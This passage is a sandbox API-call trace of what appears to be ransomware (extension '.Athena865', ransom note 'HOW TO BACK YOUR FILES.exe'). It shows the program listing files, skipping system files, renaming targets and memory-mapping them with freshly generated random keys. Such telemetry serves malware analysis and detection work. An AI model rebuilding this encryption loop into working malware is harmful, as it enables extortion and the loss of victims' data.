szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518ef8) returned 1 [0091.142] CryptGenRandom (in: hProv=0x518ef8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0091.143] CryptReleaseContext (hProv=0x518ef8, dwFlags=0x0) returned 1 [0091.143] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1c30, lpName=0x0) returned 0x154 [0091.145] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1c30) returned 0x100000 [0091.146] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518ef8) returned 1 [0091.146] CryptGenRandom (in: hProv=0x518ef8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0091.146] CryptReleaseContext (hProv=0x518ef8, dwFlags=0x0) returned 1 [0091.147] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d1b0 [0091.147] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d1b0 | out: hHeap=0x4f0000) returned 1 [0091.147] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0091.147] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0091.147] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0091.147] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0091.147] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0091.147] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0091.147] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0091.147] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0091.147] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0091.147] CloseHandle (hObject=0x154) returned 1 [0091.147] CloseHandle (hObject=0x17c) returned 1 [0091.147] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d228 | out: hHeap=0x4f0000) returned 1 [0091.147] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518f80 | out: hHeap=0x4f0000) returned 1 [0091.147] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0091.148] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf3b1bef, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0xaf3b1bef, ftLastAccessTime.dwHighDateTime=0x1ca0408, ftLastWriteTime.dwLowDateTime=0x6c2edf75, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc38, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="wmpnss_bw32.bmp", cAlternateFileName="")) returned 1 [0091.148] lstrcmpiW (lpString1="wmpnss_bw32.bmp", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0091.148] lstrcmpiW (lpString1="wmpnss_bw32.bmp", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0091.148] lstrcmpiW (lpString1="wmpnss_bw32.bmp", lpString2=".") returned 1 [0091.148] lstrcmpiW (lpString1="wmpnss_bw32.bmp", lpString2="..") returned 1 [0091.148] lstrcmpiW (lpString1="wmpnss_bw32.bmp", lpString2="windows") returned 1 [0091.148] lstrcmpiW (lpString1="wmpnss_bw32.bmp", lpString2="bootmgr") returned 1 [0091.148] lstrcmpiW (lpString1="wmpnss_bw32.bmp", lpString2="temp") returned 1 [0091.148] lstrcmpiW (lpString1="wmpnss_bw32.bmp", lpString2="pagefile.sys") returned 1 [0091.148] lstrcmpiW (lpString1="wmpnss_bw32.bmp", lpString2="boot") returned 1 [0091.148] lstrcmpiW (lpString1="wmpnss_bw32.bmp", lpString2="ids.txt") returned 1 [0091.148] lstrcmpiW (lpString1="wmpnss_bw32.bmp", lpString2="ntuser.dat") returned 1 [0091.148] lstrcmpiW (lpString1="wmpnss_bw32.bmp", lpString2="perflogs") returned 1 [0091.148] lstrcmpiW (lpString1="wmpnss_bw32.bmp", lpString2="MSBuild") returned 1 [0091.148] lstrlenW (lpString="wmpnss_bw32.bmp") returned 15 [0091.148] lstrcpyW (in: lpString1=0x241e8b4, lpString2="wmpnss_bw32.bmp" | out: lpString1="wmpnss_bw32.bmp") returned="wmpnss_bw32.bmp" [0091.148] lstrlenW (lpString="wmpnss_bw32.bmp") returned 15 [0091.148] lstrlenW (lpString="Athena865") returned 9 [0091.148] lstrcmpiW (lpString1="_bw32.bmp", lpString2="Athena865") returned -1 [0091.148] lstrlenW (lpString=".dll") returned 4 [0091.148] lstrcmpiW (lpString1="wmpnss_bw32.bmp", lpString2=".dll") returned 1 [0091.148] lstrlenW (lpString=".lnk") returned 4 [0091.148] lstrcmpiW (lpString1="wmpnss_bw32.bmp", lpString2=".lnk") returned 1 [0091.148] lstrlenW (lpString=".ini") returned 4 [0091.148] lstrcmpiW (lpString1="wmpnss_bw32.bmp", lpString2=".ini") returned 1 [0091.149] lstrlenW (lpString=".sys") returned 4 [0091.149] lstrcmpiW (lpString1="wmpnss_bw32.bmp", lpString2=".sys") returned 1 [0091.149] lstrlenW (lpString="wmpnss_bw32.bmp") returned 15 [0091.149] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Windows Media Player\\Network Sharing\\wmpnss_bw32.bmp.Athena865") returned 79 [0091.149] MoveFileExW (lpExistingFileName="C:\\Program Files\\Windows Media Player\\Network Sharing\\wmpnss_bw32.bmp" (normalized: "c:\\program files\\windows media player\\network sharing\\wmpnss_bw32.bmp"), lpNewFileName="C:\\Program Files\\Windows Media Player\\Network Sharing\\wmpnss_bw32.bmp.Athena865" (normalized: "c:\\program files\\windows media player\\network sharing\\wmpnss_bw32.bmp.athena865"), dwFlags=0x1) returned 1 [0091.150] CreateFileW (lpFileName="C:\\Program Files\\Windows Media Player\\Network Sharing\\wmpnss_bw32.bmp.Athena865" (normalized: "c:\\program files\\windows media player\\network sharing\\wmpnss_bw32.bmp.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0091.150] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=3128) returned 1 [0091.150] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0091.151] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d228 [0091.151] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518f80 [0091.151] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518ef8) returned 1 [0091.151] CryptGenRandom (in: hProv=0x518ef8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0091.151] CryptReleaseContext (hProv=0x518ef8, dwFlags=0x0) returned 1 [0091.152] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xf40, lpName=0x0) returned 0x154 [0091.154] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xf40) returned 0x100000 [0091.155] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518ef8) returned 1 [0091.155] CryptGenRandom (in: hProv=0x518ef8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0091.155] CryptReleaseContext (hProv=0x518ef8, dwFlags=0x0) returned 1 [0091.156] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d1b0 [0091.156] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d1b0 | out: hHeap=0x4f0000) returned 1 [0091.156] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0091.156] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0091.156] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0091.156] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0091.156] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0091.156] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0091.156] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0091.156] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0091.156] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0091.156] CloseHandle (hObject=0x154) returned 1 [0091.156] CloseHandle (hObject=0x17c) returned 1 [0091.156] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d228 | out: hHeap=0x4f0000) returned 1 [0091.156] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518f80 | out: hHeap=0x4f0000) returned 1 [0091.156] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0091.157] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf3b1bef, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0xaf3b1bef, ftLastAccessTime.dwHighDateTime=0x1ca0408, ftLastWriteTime.dwLowDateTime=0x6c2edf75, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x231f, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="wmpnss_bw32.jpg", cAlternateFileName="")) returned 1 [0091.157] lstrcmpiW (lpString1="wmpnss_bw32.jpg", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0091.157] lstrcmpiW (lpString1="wmpnss_bw32.jpg", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0091.157] lstrcmpiW (lpString1="wmpnss_bw32.jpg", lpString2=".") returned 1 [0091.157] lstrcmpiW (lpString1="wmpnss_bw32.jpg", lpString2="..") returned 1 [0091.157] lstrcmpiW (lpString1="wmpnss_bw32.jpg", lpString2="windows") returned 1 [0091.157] lstrcmpiW (lpString1="wmpnss_bw32.jpg", lpString2="bootmgr") returned 1 [0091.157] lstrcmpiW (lpString1="wmpnss_bw32.jpg", lpString2="temp") returned 1 [0091.157] lstrcmpiW (lpString1="wmpnss_bw32.jpg", lpString2="pagefile.sys") returned 1 [0091.157] lstrcmpiW (lpString1="wmpnss_bw32.jpg", lpString2="boot") returned 1 [0091.157] lstrcmpiW (lpString1="wmpnss_bw32.jpg", lpString2="ids.txt") returned 1 [0091.157] lstrcmpiW (lpString1="wmpnss_bw32.jpg", lpString2="ntuser.dat") returned 1 [0091.157] lstrcmpiW (lpString1="wmpnss_bw32.jpg", lpString2="perflogs") returned 1 [0091.157] lstrcmpiW (lpString1="wmpnss_bw32.jpg", lpString2="MSBuild") returned 1 [0091.157] lstrlenW (lpString="wmpnss_bw32.jpg") returned 15 [0091.157] lstrcpyW (in: lpString1=0x241e8b4, lpString2="wmpnss_bw32.jpg" | out: lpString1="wmpnss_bw32.jpg") returned="wmpnss_bw32.jpg" [0091.157] lstrlenW (lpString="wmpnss_bw32.jpg") returned 15 [0091.157] lstrlenW (lpString="Athena865") returned 9 [0091.157] lstrcmpiW (lpString1="_bw32.jpg", lpString2="Athena865") returned -1 [0091.157] lstrlenW (lpString=".dll") returned 4 [0091.157] lstrcmpiW (lpString1="wmpnss_bw32.jpg", lpString2=".dll") returned 1 [0091.157] lstrlenW (lpString=".lnk") returned 4 [0091.157] lstrcmpiW (lpString1="wmpnss_bw32.jpg", lpString2=".lnk") returned 1 [0091.157] lstrlenW (lpString=".ini") returned 4 [0091.157] lstrcmpiW (lpString1="wmpnss_bw32.jpg", lpString2=".ini") returned 1 [0091.157] lstrlenW (lpString=".sys") returned 4 [0091.157] lstrcmpiW (lpString1="wmpnss_bw32.jpg", lpString2=".sys") returned 1 [0091.157] lstrlenW (lpString="wmpnss_bw32.jpg") returned 15 [0091.158] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Windows Media Player\\Network Sharing\\wmpnss_bw32.jpg.Athena865") returned 79 [0091.158] MoveFileExW (lpExistingFileName="C:\\Program Files\\Windows Media Player\\Network Sharing\\wmpnss_bw32.jpg" (normalized: "c:\\program files\\windows media player\\network sharing\\wmpnss_bw32.jpg"), lpNewFileName="C:\\Program Files\\Windows Media Player\\Network Sharing\\wmpnss_bw32.jpg.Athena865" (normalized: "c:\\program files\\windows media player\\network sharing\\wmpnss_bw32.jpg.athena865"), dwFlags=0x1) returned 1 [0091.158] CreateFileW (lpFileName="C:\\Program Files\\Windows Media Player\\Network Sharing\\wmpnss_bw32.jpg.Athena865" (normalized: "c:\\program files\\windows media player\\network sharing\\wmpnss_bw32.jpg.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0091.158] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=8991) returned 1 [0091.158] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0091.159] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d228 [0091.159] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518f80 [0091.159] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518ef8) returned 1 [0091.159] CryptGenRandom (in: hProv=0x518ef8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0091.160] CryptReleaseContext (hProv=0x518ef8, dwFlags=0x0) returned 1 [0091.160] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2620, lpName=0x0) returned 0x154 [0091.161] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2620) returned 0x100000 [0091.162] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518ef8) returned 1 [0091.163] CryptGenRandom (in: hProv=0x518ef8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0091.163] CryptReleaseContext (hProv=0x518ef8, dwFlags=0x0) returned 1 [0091.163] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d1b0 [0091.163] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d1b0 | out: hHeap=0x4f0000) returned 1 [0091.163] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0091.163] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0091.163] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0091.163] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0091.163] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0091.163] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0091.163] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0091.164] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0091.164] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0091.164] CloseHandle (hObject=0x154) returned 1 [0091.164] CloseHandle (hObject=0x17c) returned 1 [0091.164] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d228 | out: hHeap=0x4f0000) returned 1 [0091.164] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518f80 | out: hHeap=0x4f0000) returned 1 [0091.164] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0091.164] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf3d7d4c, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0xaf3d7d4c, ftLastAccessTime.dwHighDateTime=0x1ca0408, ftLastWriteTime.dwLowDateTime=0x6c2edf75, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x980, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="wmpnss_bw48.bmp", cAlternateFileName="")) returned 1 [0091.164] lstrcmpiW (lpString1="wmpnss_bw48.bmp", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0091.164] lstrcmpiW (lpString1="wmpnss_bw48.bmp", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0091.164] lstrcmpiW (lpString1="wmpnss_bw48.bmp", lpString2=".") returned 1 [0091.164] lstrcmpiW (lpString1="wmpnss_bw48.bmp", lpString2="..") returned 1 [0091.164] lstrcmpiW (lpString1="wmpnss_bw48.bmp", lpString2="windows") returned 1 [0091.164] lstrcmpiW (lpString1="wmpnss_bw48.bmp", lpString2="bootmgr") returned 1 [0091.164] lstrcmpiW (lpString1="wmpnss_bw48.bmp", lpString2="temp") returned 1 [0091.164] lstrcmpiW (lpString1="wmpnss_bw48.bmp", lpString2="pagefile.sys") returned 1 [0091.164] lstrcmpiW (lpString1="wmpnss_bw48.bmp", lpString2="boot") returned 1 [0091.164] lstrcmpiW (lpString1="wmpnss_bw48.bmp", lpString2="ids.txt") returned 1 [0091.164] lstrcmpiW (lpString1="wmpnss_bw48.bmp", lpString2="ntuser.dat") returned 1 [0091.164] lstrcmpiW (lpString1="wmpnss_bw48.bmp", lpString2="perflogs") returned 1 [0091.165] lstrcmpiW (lpString1="wmpnss_bw48.bmp", lpString2="MSBuild") returned 1 [0091.165] lstrlenW (lpString="wmpnss_bw48.bmp") returned 15 [0091.165] lstrcpyW (in: lpString1=0x241e8b4, lpString2="wmpnss_bw48.bmp" | out: lpString1="wmpnss_bw48.bmp") returned="wmpnss_bw48.bmp" [0091.165] lstrlenW (lpString="wmpnss_bw48.bmp") returned 15 [0091.165] lstrlenW (lpString="Athena865") returned 9 [0091.165] lstrcmpiW (lpString1="_bw48.bmp", lpString2="Athena865") returned -1 [0091.165] lstrlenW (lpString=".dll") returned 4 [0091.165] lstrcmpiW (lpString1="wmpnss_bw48.bmp", lpString2=".dll") returned 1 [0091.165] lstrlenW (lpString=".lnk") returned 4 [0091.165] lstrcmpiW (lpString1="wmpnss_bw48.bmp", lpString2=".lnk") returned 1 [0091.165] lstrlenW (lpString=".ini") returned 4 [0091.165] lstrcmpiW (lpString1="wmpnss_bw48.bmp", lpString2=".ini") returned 1 [0091.165] lstrlenW (lpString=".sys") returned 4 [0091.165] lstrcmpiW (lpString1="wmpnss_bw48.bmp", lpString2=".sys") returned 1 [0091.165] lstrlenW (lpString="wmpnss_bw48.bmp") returned 15 [0091.165] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Windows Media Player\\Network Sharing\\wmpnss_bw48.bmp.Athena865") returned 79 [0091.165] MoveFileExW (lpExistingFileName="C:\\Program Files\\Windows Media Player\\Network Sharing\\wmpnss_bw48.bmp" (normalized: "c:\\program files\\windows media player\\network sharing\\wmpnss_bw48.bmp"), lpNewFileName="C:\\Program Files\\Windows Media Player\\Network Sharing\\wmpnss_bw48.bmp.Athena865" (normalized: "c:\\program files\\windows media player\\network sharing\\wmpnss_bw48.bmp.athena865"), dwFlags=0x1) returned 1 [0091.166] CreateFileW (lpFileName="C:\\Program Files\\Windows Media Player\\Network Sharing\\wmpnss_bw48.bmp.Athena865" (normalized: "c:\\program files\\windows media player\\network sharing\\wmpnss_bw48.bmp.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0091.166] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2432) returned 1 [0091.166] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0091.166] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d228 [0091.166] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518f80 [0091.166] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518ef8) returned 1 [0091.167] CryptGenRandom (in: hProv=0x518ef8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0091.167] CryptReleaseContext (hProv=0x518ef8, dwFlags=0x0) returned 1 [0091.167] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xc80, lpName=0x0) returned 0x154 [0091.169] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xc80) returned 0x100000 [0091.170] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518ef8) returned 1 [0091.170] CryptGenRandom (in: hProv=0x518ef8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0091.170] CryptReleaseContext (hProv=0x518ef8, dwFlags=0x0) returned 1 [0091.170] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d1b0 [0091.170] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d1b0 | out: hHeap=0x4f0000) returned 1 [0091.170] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0091.171] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0091.171] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0091.171] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0091.171] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0091.171] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0091.171] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0091.171] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0091.171] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0091.171] CloseHandle (hObject=0x154) returned 1 [0091.171] CloseHandle (hObject=0x17c) returned 1 [0091.171] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d228 | out: hHeap=0x4f0000) returned 1 [0091.171] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518f80 | out: hHeap=0x4f0000) returned 1 [0091.171] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0091.171] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf3fdea9, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0xaf3fdea9, ftLastAccessTime.dwHighDateTime=0x1ca0408, ftLastWriteTime.dwLowDateTime=0x6c2edf75, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2aa0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="wmpnss_bw48.jpg", cAlternateFileName="")) returned 1 [0091.171] lstrcmpiW (lpString1="wmpnss_bw48.jpg", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0091.171] lstrcmpiW (lpString1="wmpnss_bw48.jpg", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0091.171] lstrcmpiW (lpString1="wmpnss_bw48.jpg", lpString2=".") returned 1 [0091.172] lstrcmpiW (lpString1="wmpnss_bw48.jpg", lpString2="..") returned 1 [0091.172] lstrcmpiW (lpString1="wmpnss_bw48.jpg", lpString2="windows") returned 1 [0091.172] lstrcmpiW (lpString1="wmpnss_bw48.jpg", lpString2="bootmgr") returned 1 [0091.172] lstrcmpiW (lpString1="wmpnss_bw48.jpg", lpString2="temp") returned 1 [0091.172] lstrcmpiW (lpString1="wmpnss_bw48.jpg", lpString2="pagefile.sys") returned 1 [0091.172] lstrcmpiW (lpString1="wmpnss_bw48.jpg", lpString2="boot") returned 1 [0091.172] lstrcmpiW (lpString1="wmpnss_bw48.jpg", lpString2="ids.txt") returned 1 [0091.172] lstrcmpiW (lpString1="wmpnss_bw48.jpg", lpString2="ntuser.dat") returned 1 [0091.172] lstrcmpiW (lpString1="wmpnss_bw48.jpg", lpString2="perflogs") returned 1 [0091.172] lstrcmpiW (lpString1="wmpnss_bw48.jpg", lpString2="MSBuild") returned 1 [0091.172] lstrlenW (lpString="wmpnss_bw48.jpg") returned 15 [0091.172] lstrcpyW (in: lpString1=0x241e8b4, lpString2="wmpnss_bw48.jpg" | out: lpString1="wmpnss_bw48.jpg") returned="wmpnss_bw48.jpg" [0091.172] lstrlenW (lpString="wmpnss_bw48.jpg") returned 15 [0091.172] lstrlenW (lpString="Athena865") returned 9 [0091.172] lstrcmpiW (lpString1="_bw48.jpg", lpString2="Athena865") returned -1 [0091.172] lstrlenW (lpString=".dll") returned 4 [0091.172] lstrcmpiW (lpString1="wmpnss_bw48.jpg", lpString2=".dll") returned 1 [0091.172] lstrlenW (lpString=".lnk") returned 4 [0091.172] lstrcmpiW (lpString1="wmpnss_bw48.jpg", lpString2=".lnk") returned 1 [0091.172] lstrlenW (lpString=".ini") returned 4 [0091.172] lstrcmpiW (lpString1="wmpnss_bw48.jpg", lpString2=".ini") returned 1 [0091.172] lstrlenW (lpString=".sys") returned 4 [0091.172] lstrcmpiW (lpString1="wmpnss_bw48.jpg", lpString2=".sys") returned 1 [0091.172] lstrlenW (lpString="wmpnss_bw48.jpg") returned 15 [0091.172] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Windows Media Player\\Network Sharing\\wmpnss_bw48.jpg.Athena865") returned 79 [0091.172] MoveFileExW (lpExistingFileName="C:\\Program Files\\Windows Media Player\\Network Sharing\\wmpnss_bw48.jpg" (normalized: "c:\\program files\\windows media player\\network sharing\\wmpnss_bw48.jpg"), lpNewFileName="C:\\Program Files\\Windows Media Player\\Network Sharing\\wmpnss_bw48.jpg.Athena865" (normalized: "c:\\program files\\windows media player\\network sharing\\wmpnss_bw48.jpg.athena865"), dwFlags=0x1) returned 1 [0091.173] CreateFileW (lpFileName="C:\\Program Files\\Windows Media Player\\Network Sharing\\wmpnss_bw48.jpg.Athena865" (normalized: "c:\\program files\\windows media player\\network 